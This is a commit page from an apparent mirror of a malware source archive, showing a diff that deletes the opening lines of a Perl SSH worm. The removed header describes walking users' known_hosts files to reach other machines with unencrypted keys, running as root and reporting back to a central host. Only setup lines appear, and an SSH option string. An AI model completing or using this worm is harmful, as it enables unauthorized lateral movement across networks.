mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 07:19:23 +00:00
Delete Virus.Perl.SSHWorm
na
This commit is contained in:
@@ -1,56 +0,0 @@
|
||||
###############
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
# sshworm - example of a trusted host/key ssh worm
|
||||
|
||||
#
|
||||
|
||||
# This is extremely primitive and rarely works on anything
|
||||
|
||||
# but identical systems running the same versions of ssh.
|
||||
|
||||
# It does show how using unencrypted RSA keys for user auth
|
||||
|
||||
# across an enterprise can be a really bad thing. Eventually
|
||||
|
||||
# you should be able to let this guy go running as root on any
|
||||
|
||||
# given system, it will locate each user's known_hosts and
|
||||
|
||||
# attempt to gain accesss, reporting its path to a central system.
|
||||
|
||||
#
|
||||
|
||||
##
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
use FindBin qw{$Bin};
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
print ":: sshworm initialized at $Bin\n";
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
$options = " -o PasswordAuthentication=no ";
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
# stage 1 - attempt to connect to all hosts in known_hosts files
|
||||
|
||||
##
|
||||
|
||||
Reference in New Issue
Block a user